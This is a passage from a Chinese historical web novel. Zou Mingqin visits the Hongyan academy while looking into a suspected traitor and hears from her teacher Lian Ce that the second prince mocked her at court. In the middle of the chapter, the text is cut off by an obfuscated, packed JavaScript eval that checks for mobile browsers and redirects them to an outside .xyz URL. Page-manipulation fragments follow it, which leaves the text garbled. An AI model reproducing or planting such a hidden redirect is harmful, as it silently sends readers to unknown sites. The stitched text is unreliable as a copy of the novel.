“宿主,查询到:您对‘邹鸣沁’的好感度,当前为68点。” 姜折阔:…… “我没换。” 他挠挠头,笑着答道。 “你就权当作,我只是为了夸耀吧。” . . 到了鸿雁学堂门口,邹鸣沁从马车上下来。 “诶?”姜折阔有些意外,“邹小姐,今日你不必遮面吗?” 邹鸣沁摇摇头,笑道:“今日是以学生的身份进去,当然不遮面。不止如此,还要走正门。” 她走到门口,敲了两下大门。 很快便有通传值岗的人来开门,见到是她,也有几分意外:“邹小姐?你怎么来了?” “我近来身子还算康健,也有些问题要同老师们请教。前几天,我已和连恻老师打过招呼,说好今日要来上学。” 邹鸣沁笑了笑,对方果然表示理解,而后便放她进了门。 现下正是授课的时辰,邹鸣沁因着起晚了,也不好贸然进屋内打扰众人。 离休息还有一段时间,她干脆往学堂后院过去。 远远地,邹鸣沁还没看见连恻,却瞥清了一痕纤细的人影。 “连殷!”她嫣然一笑,上前同那人打了声招呼。 连殷回过头来,见到是她,也一愣。 “鸣沁?你今日竟来了学堂,可真是少见。身子可还爽利?” 邹鸣沁点点头,蹲下身,随手逗弄了两下正在一旁扒拉花草的菡萏。 她答道:“还算是精神不错,其余的都是老样子罢了。” “嗯,总归看着比我好多了。”连殷笑道,“眼看着,我也是日益替上你,成了咱们学堂的第一病秧子了。” 她一听这话,不由得有些无奈:“听着倒是个名副其实的第一,可这也不是什么该急着、赶着来争抢的好名衔哪。” 连殷常年久病,使得她面色苍白、形销骨立,就连脊背也常常是微微弯偻着的,眉目亦带有颦态。 才说了这么两句话,她又咳嗽起来。 “那么,外头不是上着课吗,你怎的又到这儿来了?” 邹鸣沁答道:“我来迟了,便想着先来寻连恻老师。” “我阿姊?”连殷笑了笑,“那你可还要等等。今日是阿姊第一次正式领职上朝,照理来说也该下朝了,但不知是耽误了何事,一直还未归来呢。” 是啊,原来今日已经是连恻上朝的第一天。 邹鸣沁近日忙于查案,竟对此无所察觉。 她今日特地来学堂,不过是为了看看众人是否有不寻常的地方,好对那位极可能混迹于她们之中的“叛徒”做个初步的判定。 不过,连恻现在还未归,会不会是宫里出了什么事? “好了,你也别愣着。” 正当她思索时,连殷拉住了她的手,出言打断了她的走神。 “你也是我们学堂里不可多得的才女,不如来帮我看看,我今日写的文章。正好阿姊没回来,我还不知道要给谁评价一番呢。” 邹鸣沁便跟着她进了房中。 连殷的书案旁边,摆着很多书籍和卷轴。 她看着案上那首长诗,末尾二句有言是“每逢夏蠓如艟浪,迷入泪眼雪润窗”。 “你这个以艨艟喻蠓虫,真是有意思。” 邹鸣沁笑着叹道。 “虫入泪眼,冰雪入窗,皆是潮湿难驱赶,甚惹人心烦。” 连殷笑道:“我写的是标新立异,什么深度也没有,谁来都看得懂,只是好让读者一乐。” “一般人也写不出你这诗中奇葩,文质中杂糅着野性,书看得太少是写不出的,道理学得太深也写不出。” 她说完,却微微敛了笑意,话锋一转。 “不过……你最近遇着何事了?看你的诗,虽是娴静的心境,却也藏着躁意、伤感。” 连殷愣了愣,只是回以一笑,摇了摇头。 正当此时,门外响起了敲门声。 “小殷,你起了么?” 连殷应了一声:“阿姊,你进来吧!” 连恻这才推开门,一眼看到房中的邹鸣沁,不由得一愣:“鸣沁?你怎么也在此处?” “老师,你忘了吗?前两日我还给您递了信儿,说今天要过来一趟,有事请教。” 邹鸣沁倒不慌,言笑晏晏间便把谎圆了过去。 “啊,是喔……我近几日太忙,竟然忘却了此事。” 连恻与她颇有默契,立即便明白了她的意思。 “既如此,你便先来我房中吧。” . . 进了连恻的房中,她有些紧张地问邹鸣沁:“是不是出了什么事?” “是,也不是。”邹鸣沁的神色也严肃起来。 她隐去调查黄榜案这一原因与始末,只同连恻交代了,自己这几日要在学堂多作考察。 连恻一向是个聪明又知分寸的人,纵使是猜出些什么,也没有多问。 “说起来,今日上朝的情况如何?”邹鸣沁想到她现下才回到学堂,便顺带问了一嘴。 谁知连恻听到这个问题,脸色却微微僵了僵。 邹鸣沁关切道:“怎么了?是不是哪个眼红的,处处盯着你行事,让你不痛快了?” “倒也没什么大事……你知道那些眼光,我平日里便已经习以如常了,根本算不上为难。” 连恻叹了口气,垂眸道。 “二殿下今日,在朝堂上认出了我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413892|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话一出,邹鸣沁也不由得捏紧了衣袖。 “你今非昔比,就算是他,也不能平白无故动你分毫。”她道。 连恻点点头:“他自然不会做这样的蠢事,不过是拐弯抹角地嘲讽了我一番。” 连恻出身贫苦,因着身材、样貌资质很好,便被卖到宫中去做虜隶。 当时,二皇子吕珲旦还在宫中,未曾外建府邸、自立门户,连恻不过是他殿中的一名粗使丫鬟,却因为容貌被看中,从此跟在吕珲旦身侧伺候。 吕珲旦算是很喜欢她,因为她乖顺、温和、听话,还很懂得事理。 他连在书房里练字、上课都要带着连恻,而连恻也在为他磨墨的时光里,偷听了不少教诲,增了许多学识。 本就有一颗玲珑心的女人,从此脑中充盈了笔墨,又怎么会甘心只做一介女虜呢? 她时常记挂着念书,手上的活便也做得敷衍下来。 终于有一天,在吕珲旦跟前犯了差错,惹怒了他。 他要当众掌她的嘴,以示惩戒。 可连恻是知廉耻、怀恻隐、有锐气的女人了,她认了错也不肯哭。 那时,尚还年少的吕晴瞬路过,识得她的骨气,便出手救下了她。 从此她跟在吕晴瞬身旁,再后来,就一路跟到了公主府,再到鸿雁学堂。 “你别管他说什么。”邹鸣沁道,“那都是些没理的撒泼话罢了。” 连恻听她这般敢说,反倒被逗笑了。 “你这丫头,快住嘴吧!这儿也就是公主殿下的地盘,你才敢放肆至此。” 邹鸣沁昂起头来:“那不然呢?我才不向着他好。” “放心吧,我自是无畏的,只不过心中难免感慨万千。” 连恻微微敛起笑意,只是淡淡道。 “你可知,他早就不记得我姓甚名谁了。他说,他早早见了黄榜上独一无二的女举人,便觉得稀奇又熟稔,没想到见了面才发现,原来是我这曾几何时的枕边暖床人。” 邹鸣沁听得心中一股火从中来,还没要开口说什么,便见连恻抬起了头,又笑了笑。 “那又如何?反正,无论是现下,还是往后——他想再忘记我的名字,可就难了。” . . 两人聊回正事,邹鸣沁叮嘱连恻,若有近来学堂中众人统一做的抄写作业,不如一并交给她检阅过目。 她还记得在书库那日看到的笔迹,虽然那人学得很像她们,但多少还是会保留一点自己的风格。 邹鸣沁当时就留意到,写替换墨卷的那人,很喜欢在笔画弯折或提勾处下功夫。 先是轻轻一顿,再加重力道,又快又准地一划。 她和连恻等人都不会这样写字,这应当是那人自己的小习惯。 把作业都搬到马车上,邹鸣沁再回到学堂,终于到了课间休憩的时候。 “那我就先去上课了。”她向连恻挥挥手。 连恻点点头:“嗯,你先去吧,我还要先去照看一下小殷。她近来身子虽不见好,看书习字却越发没命地用功……实在叫我担心。” 她这么一提,邹鸣沁也想起,方才帮连殷看诗和文章时,她确实有注意到连殷的手。 病弱的人,本来就气虚皮薄,她手上常握笔用力的几处都起了厚茧,看得出来,的的确确是很勤勉了。 二人就此暂别,邹鸣沁走出后院,往前堂的几间书房走去。